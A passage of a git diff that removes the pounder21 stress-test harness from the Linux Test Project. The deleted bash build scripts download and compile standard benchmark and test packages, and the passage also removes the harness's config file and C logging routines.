-    Jack Vogel (jfv@us.ibm.com)
-    Keith Mannthey (kmannth@us.ibm.com)
-    James Cleverdon (jamesclv@us.ibm.com)
-    Pat Gaughen (gone@us.ibm.com)
-    John Stultz (jstultz@us.ibm.com)
-    Roger Mach (bigmach@us.ibm.com)
-    Sarunya Jimenez
-    Alexis Bruemmer (alexisb@us.ibm.com)
-    James Takahashi (jmtt@us.ibm.com)
-    Pradeep Kumar (pradeepkumars@in.ibm.com)
-    Bhaskar Rangaswamy (bharanga@in.ibm.com)
-    Manikandan Chidambaram (cmanikandan@in.ibm.com)
-    Lucy Liang (lgliang@us.ibm.com)
-o Other contributers:
-
-Also utilizes:
-o memxfer5b, from IBM DeveloperWorks
-o Linux kernel's build system.
-    http://www.kernel.org
-o bonnie++
-o The Linux Test Project
-o Doug Ledford's (of RH) memtest script
-o lame, for MMX/SSE/SSE2/3dnow testing
-o nasm, to build lame
-o schedutils, to test CPU affinity (with lame)
-
-(note that the above packages are not distributed with pounder
- and are simply installed by the installer script)
diff --git a/tools/pounder21/build_scripts/bonnie++ b/tools/pounder21/build_scripts/bonnie++
deleted file mode 100755
index 907a2c6..0000000
--- a/tools/pounder21/build_scripts/bonnie++
+++ /dev/null
@@ -1,76 +0,0 @@
-#!/bin/bash
-
-# Builds bonnie++
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-
-PKGNAME=bonnie++-1.03e
-TARNAME="$PKGNAME.tgz"
-PROGNAME=bonnie++
-
-# How much RAM do we have?
-RAM=`cat /proc/meminfo | grep MemTotal | awk -F " " '{print $2}'`
-SPACE_REQUIRED=`expr $RAM \* 4`
-
-# Now figure out where we have mounted filesystems
-MOUNTS=`egrep "(ext|reiser)" /proc/mounts | awk -F " " '{print $2}'`
-
-RET=$(
-	echo $MOUNTS | sed -e 's/ /\n/g' | while read f; do
-
-        	# Do we have enough space? (assume 4x RAM is enough)
-        	FREE_SPACE=`df -k -P "$f" | tail -n 1 | awk -F " " '{print $4}'`
-
-        	if [ "$FREE_SPACE" -lt "$SPACE_REQUIRED" ]; then
-			break
-        	fi
-	done
-)
-
-if [ ! -z $RET ]; then
-        echo "[bonnie++] Insufficient space. Free space: $FREE_SPACE kB. Space required: $SPACE_REQUIRED kB. Not building bonnie."
-	exit 1
-fi
-
-# Is it already installed?
-PROG=`which $PROGNAME`
-if [ ! -z "$PROG" ]; then
-	exit 0
-fi
-
-# Retrieve binary, if necessary
-cd "$POUNDER_OPTDIR"
-if [ ! -f "$TARNAME" ]; then
-	if [ $USE_CACHE -eq 1 ]; then
-		wget "${POUNDER_CACHE}${TARNAME}"
-	fi
-	if [ ! -f "$TARNAME" ]; then
-		wget "http://www.coker.com.au/bonnie++/$TARNAME"
-	fi
-fi
-
-# Unpack if req'd
-if [ ! -d "$PKGNAME" ]; then
-	tar -xzf "$TARNAME"
-fi
-
-# Build
-cd "$PKGNAME"
-./configure
-make $*
diff --git a/tools/pounder21/build_scripts/build_kernel b/tools/pounder21/build_scripts/build_kernel
deleted file mode 100755
index 4a753b5..0000000
--- a/tools/pounder21/build_scripts/build_kernel
+++ /dev/null
@@ -1,38 +0,0 @@
-#!/bin/bash
-
-# Grabs kernel tarball
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-
-TARNAME=linux-2.6.39.tar.bz2
-# WARNING: If you update the kernel version that we use, be sure to
-# update $POUNDER_SRCDIR/memtest.patch, $POUNDER_HOME/test_scripts/memtest,
-# $POUNDER_HOME/test_scripts/build_kernel, and
-# $POUNDER_HOME/build_scripts/build_kernel.
-
-# Retrieve binary, if necessary
-cd "$POUNDER_OPTDIR"
-if [ ! -f "$TARNAME" ]; then
-	if [ $USE_CACHE -eq 1 ]; then
-		wget "${POUNDER_CACHE}${TARNAME}"
-	fi
-	if [ ! -f "$TARNAME" ]; then
-		wget "http://www.kernel.org/pub/linux/kernel/v2.6/$TARNAME"
-	fi
-fi
diff --git a/tools/pounder21/build_scripts/cpufreq b/tools/pounder21/build_scripts/cpufreq
deleted file mode 100755
index 3373575..0000000
--- a/tools/pounder21/build_scripts/cpufreq
+++ /dev/null
@@ -1,33 +0,0 @@
-#!/bin/bash
-
-# Build CPU frequency switching test program
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-
-# Do any CPU support cpufreq?
-CPUFREQ_ENABLED_CPUS=`/bin/ls -lad /sys/devices/system/cpu/cpu*/cpufreq 2> /dev/null | wc -l`
-if [ "$CPUFREQ_ENABLED_CPUS" -lt 1 ]; then
-        echo "[cpufreq] None of your CPUs support cpufreq. Not building cpufreq."
-        exit 255
-fi
-
-cd "$POUNDER_SRCDIR/cpufreq/"
-
-make $*
-exit $?
diff --git a/tools/pounder21/build_scripts/ide_cdrom_copy b/tools/pounder21/build_scripts/ide_cdrom_copy
deleted file mode 100755
index 07e6c71..0000000
--- a/tools/pounder21/build_scripts/ide_cdrom_copy
+++ /dev/null
@@ -1,56 +0,0 @@
-#!/bin/bash
-
-# Looks for CD/DVD drives and then determine
-# if there is at least ONE disc in the system's CDROM drives.
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-. "$POUNDER_SRCDIR/libidecd.sh"
-
-DRIVES_FOUND=`find_discs_with_media`
-if [ "$DRIVES_FOUND" == "NONE 0" ]; then
-        echo "[ide_cdrom_copy] No CD/DVD drives found. CD test will not build."
-        exit 1;
-fi
-
-DEFAULT_MOUNT="$POUNDER_TMPDIR/cdmount"
-
-# Ensure that our default mountpoint and destination dirs exist.
-mkdir -p "$DEFAULT_MOUNT"
-
-# How many discs can we find?
-DISCS_FOUND=`find_discs_with_media | wc -l`
-if [ $DISCS_FOUND -lt 1 ]; then
-        echo -en "Examined "
-        find_disc_devices | while read f; do
-                echo -en "$f "
-                eject "$f"
-        done
-        echo " and found no discs to test."
-        echo "Please put a disc into the CD/DVD drive(s) and press ENTER."
-        read garbage
-
-        DISCS_FOUND=`find_discs_with_media | wc -l`
-        if [ $DISCS_FOUND -lt 1 ]; then
-                echo "Still can't find any discs.  CD test will probably not run."
-                exit 0
-        fi
-fi
-
-exit 0
-
diff --git a/tools/pounder21/build_scripts/ipmitool b/tools/pounder21/build_scripts/ipmitool
deleted file mode 100755
index 5de7de6..0000000
--- a/tools/pounder21/build_scripts/ipmitool
+++ /dev/null
@@ -1,73 +0,0 @@
-#!/bin/bash
-
-# Builds ipmitool
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-source "$POUNDER_HOME/libpounder.sh"
-
-#TODO: Move to config file variables
-Req_Maj=1
-Req_Min=8
-Req_Pat=7
-
-TESTCURRENTIPMI=1 #TODO: 0
-
-PKGNAME=ipmitool-1.8.9
-#end of stuff to move
-TARNAME="$PKGNAME.tar.gz"
-PROGNAME=ipmitool
-if [ $TESTCURRENTIPMI -ne 0 ]; then
-
-	# Is it already installed?
-	PROG=`which $PROGNAME`
-	if [ ! -z "$PROG" ]; then
-		Maj_ver=`ipmitool -V | cut -b 18- | awk -F "." '{print $1}'`
-		Min_ver=`ipmitool -V | cut -b 18- | awk -F "." '{print $2}'`
-		Pat_ver=`ipmitool -V | cut -b 18- | awk -F "." '{print $3}'`
-		if [ $Maj_ver -gt $Req_Maj ]; then
-			exit 0;
-		elif [[ $Maj_ver -eq $Req_Maj && $Min_ver -gt $Req_Min ]]; then
-			exit 0;
-		elif [[ $Maj_ver -eq $Req_Maj && $Min_ver -eq $Req_Min && $Pat_ver -ge $Req_Pat ]]; then
-			exit 0;
-		fi
-	fi
-
-	# Retrieve binary, if necessary
-	cd "$POUNDER_OPTDIR"
-	if [ ! -f "$TARNAME" ]; then
-		if [ $USE_CACHE -eq 1 ]; then
-			wget "${POUNDER_CACHE}${TARNAME}"
-		fi
-		if [ ! -f "$TARNAME" ]; then
-			get_from_sourceforge $PROGNAME $TARNAME
-		fi
-		#TODO: what if no target found?
-	fi
-
-	# Unpack if req'd
-	if [ ! -d "$PKGNAME" ]; then
-		tar -xzf "$TARNAME"
-	fi
-
-	# Build
-	cd "$PKGNAME"
-	./configure
-	make $*
-fi
diff --git a/tools/pounder21/build_scripts/lame b/tools/pounder21/build_scripts/lame
deleted file mode 100755
index 240d6ae..0000000
--- a/tools/pounder21/build_scripts/lame
+++ /dev/null
@@ -1,127 +0,0 @@
-#!/bin/bash
-
-# Builds lame for MMX/SSE testing
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-source "$POUNDER_HOME/libpounder.sh"
-
-# Is it already installed?
-PROG=`which lame`
-if [ ! -z "$PROG" ]; then
-	exit 0
-fi
-
-# If we can't find nasm...
-NASM=`which nasm`
-if [ -z "$NASM" ]; then
-	# Build it so we can test MMX/SSE.
-	NASM_PKG=nasm-0.98.38
-	NASM_TAR="$NASM_PKG.tar.gz"
-
-	# Retrieve tarball
-	cd "$POUNDER_OPTDIR"
-	if [ ! -f "$NASM_TAR" ]; then
-        	if [ $USE_CACHE -eq 1 ]; then
-                	wget "${POUNDER_CACHE}${NASM_TAR}"
-        	fi
-        	if [ ! -f "$NASM_TAR" ]; then
-                	get_from_sourceforge nasm $NASM_TAR
-        	fi
-	fi
-
-	# Unpack if necessary
-	if [ ! -d "NASM_PKG" ]; then
-        	tar -xzf "$NASM_TAR"
-	fi
-
-	# Build
-	cd "$NASM_PKG"
-	./configure
-	make $*
-
-	export PATH=`/bin/ls -d $POUNDER_OPTDIR/nasm*/`:$PATH
-
-fi
-
-# Retrieve binary for lame, if necessary
-PKGNAME=lame-3.96.1
-TARNAME="$PKGNAME.tar.gz"
-PROGNAME=lame
-
-cd "$POUNDER_OPTDIR"
-if [ ! -f "$TARNAME" ]; then
-	if [ $USE_CACHE -eq 1 ]; then
-		wget "${POUNDER_CACHE}${TARNAME}"
-	fi
-	if [ ! -f "$TARNAME" ]; then
-		get_from_sourceforge $PROGNAME $TARNAME
-	fi
-fi
-
-# Unpack if necessary
-if [ ! -d "PKGNAME" ]; then
-	tar -xzf "$TARNAME"
-fi
-
-# Build with MMX/SSE/3dnow/whatever support
-cd "$PKGNAME"
-./configure --enable-nasm
-make $*
-
-# Now build schedutils for CPU affinity assignments
-_PKGNAME=schedutils-1.4.0
-S_TARNAME="$S_PKGNAME.tar.gz"
-S_PROGNAME=taskset
-
-# Is it already installed?
-S_PROG=`which $S_PROGNAME`
-if [ ! -z "$S_PROG" ]; then
-        exit 0
-fi
-
-# Does this OS support taskset?
-grep sched_setaffinity /usr/include/sched.h > /dev/null 2>&1
-if [ $? -ne 0 ]; then
-        # Can't find the sched_setaffinity syscall; abort.
-        # Probably we want to remove the schedutils dir in case
-        # this install was leftover from another distro.
-        cd "$POUNDER_OPTDIR"
-        rm -rf "$S_PKGNAME"
-        exit 0
-fi
-
-# Retrieve tarball, if necessary
-cd "$POUNDER_OPTDIR"
-if [ ! -f "$S_TARNAME" ]; then
-        if [ $USE_CACHE -eq 1 ]; then
-                wget "${POUNDER_CACHE}${S_TARNAME}"
-        fi
-        if [ ! -f "$S_TARNAME" ]; then
-                wget "http://tech9.net/rml/schedutils/packages/$VERSION/$S_TARNAME"
-        fi
-fi
-
-# Unpack if necessary
-if [ ! -d "S_PKGNAME" ]; then
-        tar -xzf "$S_TARNAME"
-fi
-
-# Build
-cd "$S_PKGNAME"
-make $*
diff --git a/tools/pounder21/build_scripts/ltp b/tools/pounder21/build_scripts/ltp
deleted file mode 100755
index 314719c..0000000
--- a/tools/pounder21/build_scripts/ltp
+++ /dev/null
@@ -1,38 +0,0 @@
-#!/bin/bash
-
-# Builds ltp
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-
-source "$POUNDER_HOME/libpounder.sh"
-
-# Go up two levels to the top ltp dir.
-cd "$POUNDER_HOME/../../"
-
-# Build
-./configure
-make -j$NR_CPUS
-MK_RET=$?
-
-if [ $MK_RET -eq 0 ]; then
-	make DESTDIR=$POUNDER_TMPDIR install
-	MK_RET=$?
-fi
-
-exit $MK_RET
diff --git a/tools/pounder21/build_scripts/mem_alloc b/tools/pounder21/build_scripts/mem_alloc
deleted file mode 100755
index eecd718..0000000
--- a/tools/pounder21/build_scripts/mem_alloc
+++ /dev/null
@@ -1,25 +0,0 @@
-#!/bin/bash
-
-# Build OOM tester
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-
-cd "$POUNDER_SRCDIR/mem_alloc_test/"
-
-make $*
diff --git a/tools/pounder21/build_scripts/memtest b/tools/pounder21/build_scripts/memtest
deleted file mode 100755
index 480d5c3..0000000
--- a/tools/pounder21/build_scripts/memtest
+++ /dev/null
@@ -1,71 +0,0 @@
-#!/bin/bash -f
-
-# Build lowmem exhaustion/corruption tester
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-
-# How much RAM do we have?
-RAM=`cat /proc/meminfo | grep MemTotal | awk -F " " '{print $2}'`
-SPACE_REQUIRED=`expr $RAM \* 2`
-
-# Do we have enough space?
-MEMTESTDIR="$POUNDER_TMPDIR/memtest/"
-rm -rf "$MEMTESTDIR"
-mkdir -p "$MEMTESTDIR"
-FREE_SPACE=`df -k -P "$MEMTESTDIR" | tail -n 1 | awk -F " " '{print $4}'`
-if [ "$FREE_SPACE" -lt "$SPACE_REQUIRED" ]; then
-        echo "[memtest] Insufficient space. Free space: $FREE_SPACE kB. Space required: $SPACE_REQUIRED kB. Not building memtest."
-        exit -1
-fi
-
-cd "$POUNDER_OPTDIR"
-
-# Download a script and parse out the junk we don't want.
-if [ ! -f "memtest.sh" ]; then
-	if [ $USE_CACHE -eq 1 ]; then
-		wget "${POUNDER_CACHE}memtest.shtml"
-	fi
-	if [ ! -f "memtest.shtml" ]; then
-		wget "http://people.redhat.com/dledford/memtest.shtml"
-	fi
-	IN_BLOCK=0
-
-	if [ ! -f "memtest.shtml" ]; then
-		echo "[memtest] Could not download memtest.shtml.  Aborting!"
-		exit -1
-	fi
-
-	(cat memtest.shtml | while read f; do
-		echo "$f" | grep -q BLOCKQUOTE
-		if [ "$?" -eq 0 ]; then
-			if [ "$IN_BLOCK" -eq 0 ]; then
-				IN_BLOCK=1
-			else
-				IN_BLOCK=0
-			fi
-		else
-			if [ "$IN_BLOCK" -eq 1 ]; then
-				echo "$f"
-			fi
-		fi
-	done) | sed -e 's/\/bin\/bash2/\/bin\/bash/g' > memtest.sh
-	chmod a+x memtest.sh
-	patch -p0 < "$POUNDER_SRCDIR/memtest.patch"
-	rm -rf memtest.shtml
-fi
diff --git a/tools/pounder21/build_scripts/memxfer5b b/tools/pounder21/build_scripts/memxfer5b
deleted file mode 100755
index c28b2da..0000000
--- a/tools/pounder21/build_scripts/memxfer5b
+++ /dev/null
@@ -1,25 +0,0 @@
-#!/bin/bash
-
-# Build memory streaming benchmark program
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-
-cd "$POUNDER_SRCDIR/memxfer5b/"
-
-make $*
diff --git a/tools/pounder21/build_scripts/ramsnake b/tools/pounder21/build_scripts/ramsnake
deleted file mode 100755
index ef4041e..0000000
--- a/tools/pounder21/build_scripts/ramsnake
+++ /dev/null
@@ -1,26 +0,0 @@
-#!/bin/bash
-
-# Build shared memory exerciser
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-
-cd "$POUNDER_SRCDIR/ramsnake/"
-
-make $*
-exit $?
diff --git a/tools/pounder21/build_scripts/random_syscall b/tools/pounder21/build_scripts/random_syscall
deleted file mode 100755
index a28f473..0000000
--- a/tools/pounder21/build_scripts/random_syscall
+++ /dev/null
@@ -1,26 +0,0 @@
-#!/bin/bash
-
-# Build random system call generator
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-
-cd "$POUNDER_SRCDIR/randasyscall/"
-
-make $*
-exit $?
diff --git a/tools/pounder21/build_scripts/time_consistency b/tools/pounder21/build_scripts/time_consistency
deleted file mode 100755
index dede6e7..0000000
--- a/tools/pounder21/build_scripts/time_consistency
+++ /dev/null
@@ -1,24 +0,0 @@
-#!/bin/bash
-
-# Build time tests
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-cd "$POUNDER_SRCDIR/time_tests/"
-
-make $*
diff --git a/tools/pounder21/build_scripts/time_drift b/tools/pounder21/build_scripts/time_drift
deleted file mode 100755
index ec856b7..0000000
--- a/tools/pounder21/build_scripts/time_drift
+++ /dev/null
@@ -1,25 +0,0 @@
-#!/bin/bash
-
-# Build time tests
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-cd "$POUNDER_SRCDIR/time_tests/"
-
-make $*
-
diff --git a/tools/pounder21/build_scripts/xterm_stress b/tools/pounder21/build_scripts/xterm_stress
deleted file mode 100755
index 77e0917..0000000
--- a/tools/pounder21/build_scripts/xterm_stress
+++ /dev/null
@@ -1,39 +0,0 @@
-#!/bin/bash
-
-# Build the program that wiggles X windows.
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-cd "$POUNDER_SRCDIR/xbonkers/"
-
-make $*
-RESULT=$?
-
-if [ $RESULT -ne 0 ]; then
-        echo
-        echo "[xterm_stress] build failed; you probably need X11 devel packages."
-        exit 1
-fi
-
-# Build a program to generate random coordinates for X11
-# programs' -geometry flag.
-
-cd "$POUNDER_SRCDIR/randacoords/"
-
-make $*
-
diff --git a/tools/pounder21/config b/tools/pounder21/config
deleted file mode 100644
index 69c15dc..0000000
--- a/tools/pounder21/config
+++ /dev/null
@@ -1,42 +0,0 @@
-#Set the following variables as needed
-
-export DURATION=0			#Time in seconds for pounder to run. Setting this variable
-					#to 0 will not put an upper bound on pounder run time.
-
-export MAX_FAILURES=5			#Maximum number of test failures allowed for each subtest
-					#before aborting. Setting this variable to 0 will not put
-					#an upper bound on any subtest failures.
-
-export NFS_LOGGING=0			#1 to enable NFS logging of pounder output, pounder will
-					#log output to remote directory on NFS server  specified
-					#by $NFS_LOGDIR and  $NFS_LOGSERVER (see below), which
-					#will be mounted on $POUNDER_LOGLOCAL (see libpounder.sh).
-					#0 to disable this feature, all output for pounder runs
-					#will be stored locally directly in $POUNDER_LOGLOCAL instead.
-
-export NFS_LOGSERVER=0			#IP address of the NFS server to use for logging pounder results.
-					#NFS_LOGGING should be enabled to use this feature.
-
-export NFS_LOGDIR=/path/to/log		#path to the log directory on $NFS_LOGSERVER; If $NFS_LOGGING
-					#is enabled, pounder will attempt to mount $NFS_LOGSERVER:$NFS_LOGDIR/
-					#on $POUNDER_LOGLOCAL (see libpounder.sh).
-
-export POUNDER_CACHE=0  		#address of the cache to use for fetching outside packages,
-                        		#The cache is a user-created web-accessible directory
-                        		#containing cached tarballs/scripts/etc. used for
-                        		#the various tests you intend to build. This is optional
-                        		#but useful for saving download time.
-
-#These variables below are used by specific subtests contained in the provided default test scheduler,
-#but they can be incorporated into user-defined subtests as well.
-
-export DO_X_TESTS=0			#0 disables X system testing, 1 enables X system testing.
-					#Used by the xterm_stress subtest.
-
-export NFS_SERVER=0			#IP address of the NFS server to use for nfs and ping_nfs
-					#subtests. Setting this variable to 0 disables nfs testing.
-
-export NTP_SERVER=pool.ntp.org		#Or use another NTP server of your choice.
-					#Used by the time_drift subtest.
-
-#Feel free to add more variables as you see fit.
diff --git a/tools/pounder21/debug.c b/tools/pounder21/debug.c
deleted file mode 100644
index 4de7095..0000000
--- a/tools/pounder21/debug.c
+++ /dev/null
@@ -1,74 +0,0 @@
-/* Debugging routines for the control program. */
-
-/*
- * Copyright (C) 2003-2006 IBM
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
- * General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- */
-
-#include <unistd.h>
-#include <stdlib.h>
-#include <time.h>
-#include <stdarg.h>
-#include <sys/types.h>
-#include <sys/time.h>
-
-#include "debug.h"
-
-#define BUF_LEN 256
-
-int pounder_fprintf(FILE * stream, const char *format, ...)
-{
-	struct timeval tv;
-	struct tm *time;
-	char buf[BUF_LEN];
-	int ret;
-	va_list args;
-	FILE *logfile;
-
-	snprintf(buf, BUF_LEN, "%s/POUNDERLOG", getenv("POUNDER_LOGDIR"));
-	logfile = fopen(buf, "a");
-	if (logfile == NULL) {
-		perror(buf);
-	}
-
-	gettimeofday(&tv, NULL);
-	time = localtime(&tv.tv_sec);
-	strftime(buf, BUF_LEN, "[%Y-%m-%d %H:%M:%S]", time);
-
-	fprintf(stream, "%s (%d) ", buf, getpid());
-
-	va_start(args, format);
-	ret = vfprintf(stream, format, args);
-	va_end(args);
-
-	if (logfile != NULL) {
-		fprintf(logfile, "%s (%d) ", buf, getpid());
-		va_start(args, format);
-		vfprintf(logfile, format, args);
-		va_end(args);
-		fclose(logfile);
-	}
-
-	fflush(stream);
-
-	return ret;
-}
-
-const char *fail_msg = "\e[33;1mFAIL\e[0m";
-const char *pass_msg = "\e[32;1mPASS\e[0m";
-const char *abort_msg = "\e[31;1mABORT\e[0m";
-const char *start_msg = "\e[36;1mSTART\e[0m";
diff --git a/tools/pounder21/debug.h b/tools/pounder21/debug.h
deleted file mode 100644
index b3678d3..0000000
--- a/tools/pounder21/debug.h
+++ /dev/null
@@ -1,31 +0,0 @@
-/* Function prototypes for debugging functions. */
-
-/*
- * Copyright (C) 2003-2006 IBM
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
- * General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
